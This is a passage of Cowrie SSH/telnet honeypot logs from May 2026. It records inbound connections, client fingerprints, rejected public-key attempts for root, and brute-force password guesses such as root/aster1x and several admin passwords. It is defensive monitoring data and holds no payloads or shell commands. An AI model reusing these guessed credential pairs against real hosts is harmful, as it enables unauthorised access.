,"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.011016Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:83:d8:65:9c:b1:21:f3:91:81:1e:0a:2e:29:70:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5abXe5rbZF60r95qQvacsHAoCClV96X5DJcIuXwc5M18t0cL0BOJYt6by7ehqJ39V/pai8kaCz2EX6WeXJmaxx4re8YWY62aq/hVHYQBkVeAIdbqRHZbV1Qj+FYlK0GBoQiTVG+18b+/7Ht/R+L/hmOXtWg1ZRcASNWdZWv+Q5uyFKzugzaSR+dGwmLoD/Cprhc3/o3MiEv4uhlmd4NmshllJaITovMUec52QJ/4GHQdTpfUE4vi7tafho6tJhIJyPxvBsU4nJuPBMDFfhG4jR2XrzV5+LmVYG0v3em8Wf9qhq4pPfpgDO4D3v0JYzL1CZVuGgoMnNNdRta5m+Y+L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:83:d8:65:9c:b1:21:f3:91:81:1e:0a:2e:29:70:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.133332Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:83:d8:65:9c:b1:21:f3:91:81:1e:0a:2e:29:70:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5abXe5rbZF60r95qQvacsHAoCClV96X5DJcIuXwc5M18t0cL0BOJYt6by7ehqJ39V/pai8kaCz2EX6WeXJmaxx4re8YWY62aq/hVHYQBkVeAIdbqRHZbV1Qj+FYlK0GBoQiTVG+18b+/7Ht/R+L/hmOXtWg1ZRcASNWdZWv+Q5uyFKzugzaSR+dGwmLoD/Cprhc3/o3MiEv4uhlmd4NmshllJaITovMUec52QJ/4GHQdTpfUE4vi7tafho6tJhIJyPxvBsU4nJuPBMDFfhG4jR2XrzV5+LmVYG0v3em8Wf9qhq4pPfpgDO4D3v0JYzL1CZVuGgoMnNNdRta5m+Y+L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.137510Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:14:3b:31:8e:01:f8:f0:47:65:9e:27:ca:c2:79:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwRXXjkNm/s+pVAlbuqNN71Vg7PPRwdy8/luNuzHB4ZJPANRxYNGwdDxclAFhYLgDtPfXO7rV/SQSY/LQZkgBjhBNfvdozfvqGCjDuG7X1W31bU7xEiIeJVbdXp4rXfRIdRtu+AcfTSNe2pvIkMglSDQD98xt1qs76eUbbaimZbFTyvMWg6ELcOtLdUAf7p2LUEL6wLdWIuW6s1ZkPoZl2ztbzKUmaVCRK3FXcY7EEuqiLQ0b4G7/f3kfx4/50VJje70LzzqvF4C7r2Zz/8nfe518xcd6GrM3eOhGVuv6b+KERHoeQXy1g1GnWz1odWpzg816648ijxCAqP62uH0//","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:14:3b:31:8e:01:f8:f0:47:65:9e:27:ca:c2:79:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.166410Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:14:3b:31:8e:01:f8:f0:47:65:9e:27:ca:c2:79:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwRXXjkNm/s+pVAlbuqNN71Vg7PPRwdy8/luNuzHB4ZJPANRxYNGwdDxclAFhYLgDtPfXO7rV/SQSY/LQZkgBjhBNfvdozfvqGCjDuG7X1W31bU7xEiIeJVbdXp4rXfRIdRtu+AcfTSNe2pvIkMglSDQD98xt1qs76eUbbaimZbFTyvMWg6ELcOtLdUAf7p2LUEL6wLdWIuW6s1ZkPoZl2ztbzKUmaVCRK3FXcY7EEuqiLQ0b4G7/f3kfx4/50VJje70LzzqvF4C7r2Zz/8nfe518xcd6GrM3eOhGVuv6b+KERHoeQXy1g1GnWz1odWpzg816648ijxCAqP62uH0//","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.169904Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:1b:c0:79:c9:5c:32:60:b6:68:82:87:e5:82:99:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzSIzdbZKZRL5hj6L4azG91mwEUZAhSs3a2UcnE3uT5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fb:1b:c0:79:c9:5c:32:60:b6:68:82:87:e5:82:99:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.200498Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:1b:c0:79:c9:5c:32:60:b6:68:82:87:e5:82:99:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzSIzdbZKZRL5hj6L4azG91mwEUZAhSs3a2UcnE3uT5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.204731Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:3a:b0:13:ec:42:9d:e3:d9:1f:78:65:a1:ac:ba:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIChu7E692eseG7FE/CoN3h/7jo38HuEp7smQ94Hj2Le5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:3a:b0:13:ec:42:9d:e3:d9:1f:78:65:a1:ac:ba:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.236698Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:3a:b0:13:ec:42:9d:e3:d9:1f:78:65:a1:ac:ba:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIChu7E692eseG7FE/CoN3h/7jo38HuEp7smQ94Hj2Le5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.240732Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:d3:71:0e:e7:ec:5e:d0:09:33:29:c1:c5:1d:a9:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRYNI1QpzJirlGFwHjRLB2+k66gscOw4n3NnAJMAeS7L5epF7RfpyoBb7RtS6fl1O6zvy5HVXgY6XaUvUc/ZEF0qxWohgAMs8aX6IfM9ziqZwNo0dQEVOmr+ypTfppIo+KuVMAy9ahbeCLYYm1zQ/hgsnE3+ebiBmPf9Fs+ukXBqppC+NcPTEvhuv8BKI7qK8bFkp7abjwpQNqm+5fa0iifVw7OvUiMCv/lK4xJ5gHS59oBTLsqlGgA5TkIq/u2WBbbjSdHgTrESv/9bV7trE7sU1E9EoTvXNUKV7HRn00oJgQSBxfTGLGYY1TAPkMKr+jmgMWmQqx0ITmu3Uu1F4Y7LTVwx7h72uHnDdk5e3eeTljejeVux86BVHRrD21lsl4M/344zAiP2EhWpNSG2e/A1rG/yE8s2+5Vpyx34HgNhPTLBNlYHBMt/tXgYizSwgxfZPI5MIPMFqAsnMQi9Lqt32xGcWul36G9c5x8uGC70WclHpTuj71y+/7foEi7CM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:d3:71:0e:e7:ec:5e:d0:09:33:29:c1:c5:1d:a9:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.271219Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:d3:71:0e:e7:ec:5e:d0:09:33:29:c1:c5:1d:a9:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRYNI1QpzJirlGFwHjRLB2+k66gscOw4n3NnAJMAeS7L5epF7RfpyoBb7RtS6fl1O6zvy5HVXgY6XaUvUc/ZEF0qxWohgAMs8aX6IfM9ziqZwNo0dQEVOmr+ypTfppIo+KuVMAy9ahbeCLYYm1zQ/hgsnE3+ebiBmPf9Fs+ukXBqppC+NcPTEvhuv8BKI7qK8bFkp7abjwpQNqm+5fa0iifVw7OvUiMCv/lK4xJ5gHS59oBTLsqlGgA5TkIq/u2WBbbjSdHgTrESv/9bV7trE7sU1E9EoTvXNUKV7HRn00oJgQSBxfTGLGYY1TAPkMKr+jmgMWmQqx0ITmu3Uu1F4Y7LTVwx7h72uHnDdk5e3eeTljejeVux86BVHRrD21lsl4M/344zAiP2EhWpNSG2e/A1rG/yE8s2+5Vpyx34HgNhPTLBNlYHBMt/tXgYizSwgxfZPI5MIPMFqAsnMQi9Lqt32xGcWul36G9c5x8uGC70WclHpTuj71y+/7foEi7CM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.275980Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:51.309688Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.554149866104126,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:52.046600Z","src_ip":"192.119.13.58","session":"bc983f613fca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35988,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d5a66d12b0","protocol":"telnet","message":"New connection: 192.119.13.58:35988 (10.17.0.5:23) [session: b0d5a66d12b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:54.001549Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37912,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb831ac3b3d8","protocol":"telnet","message":"New connection: 192.119.13.58:37912 (10.17.0.5:23) [session: cb831ac3b3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:54.450800Z"}
{"eventid":"cowrie.session.closed","duration":0.7238831520080566,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:54.725288Z","src_ip":"192.119.13.58","session":"b0d5a66d12b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"eacb19590600","protocol":"telnet","message":"New connection: 192.119.13.58:52248 (10.17.0.5:23) [session: eacb19590600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:58.108833Z"}
{"eventid":"cowrie.session.closed","duration":37.87580418586731,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:58.852819Z","src_ip":"192.119.13.58","session":"bce44ae5b07e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.67493462562561,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:10.311479Z","src_ip":"192.119.13.58","session":"cc67b5194351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.288175106048584,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:10.326456Z","src_ip":"192.119.13.58","session":"005c01bd9cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35934,"dst_ip":"10.17.0.5","dst_port":23,"session":"89cb563ee48f","protocol":"telnet","message":"New connection: 192.119.13.58:35934 (10.17.0.5:23) [session: 89cb563ee48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:15.120400Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42748,"dst_ip":"10.17.0.5","dst_port":23,"session":"42d8bd74157b","protocol":"telnet","message":"New connection: 192.119.13.58:42748 (10.17.0.5:23) [session: 42d8bd74157b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:16.812053Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94b7523508f","protocol":"ssh","message":"New connection: 80.94.92.184:46208 (10.17.0.5:22) [session: a94b7523508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:16.879912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:17.376449Z","src_ip":"80.94.92.184","session":"a94b7523508f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:17.381137Z","src_ip":"80.94.92.184","session":"a94b7523508f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:18.368609Z","src_ip":"80.94.92.184","session":"a94b7523508f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:19.544378Z","src_ip":"80.94.92.184","session":"a94b7523508f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":59052,"dst_ip":"159.203.135.109","dst_port":22,"session":"478b1537d4f0","protocol":"ssh","message":"New connection: 43.135.129.144:59052 (159.203.135.109:22) [session: 478b1537d4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:23.227417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:23.234558Z","src_ip":"43.135.129.144","session":"478b1537d4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:23.304106Z","src_ip":"43.135.129.144","session":"478b1537d4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aster1x","message":"login attempt [root/aster1x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:23.609990Z","src_ip":"43.135.129.144","session":"478b1537d4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30592,"dst_ip":"159.203.135.109","dst_port":22,"session":"78bff1b8d06b","protocol":"ssh","message":"New connection: 2.57.121.112:30592 (159.203.135.109:22) [session: 78bff1b8d06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.152471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.157392Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.257564Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45542,"dst_ip":"10.17.0.5","dst_port":23,"session":"936f30acf033","protocol":"telnet","message":"New connection: 192.119.13.58:45542 (10.17.0.5:23) [session: 936f30acf033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.499729Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.682130Z","src_ip":"43.135.129.144","session":"478b1537d4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29011973","message":"login attempt [admin/29011973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:24.741241Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49464,"dst_ip":"10.17.0.5","dst_port":23,"session":"324887fa925d","protocol":"telnet","message":"New connection: 192.119.13.58:49464 (10.17.0.5:23) [session: 324887fa925d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:25.439035Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281291","message":"login attempt [admin/281291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:25.844752Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281285","message":"login attempt [admin/281285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:26.949919Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"281280","message":"login attempt [admin/281280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:28.054172Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.89068150520325,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:29.011013Z","src_ip":"192.119.13.58","session":"5fc15c308e9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28111961","message":"login attempt [admin/28111961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:29.157450Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.262641Z","src_ip":"2.57.121.112","session":"78bff1b8d06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":53606,"dst_ip":"10.17.0.5","dst_port":22,"session":"acbe80c27e61","protocol":"ssh","message":"New connection: 43.153.104.156:53606 (10.17.0.5:22) [session: acbe80c27e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.488063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.499625Z","src_ip":"43.153.104.156","session":"acbe80c27e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc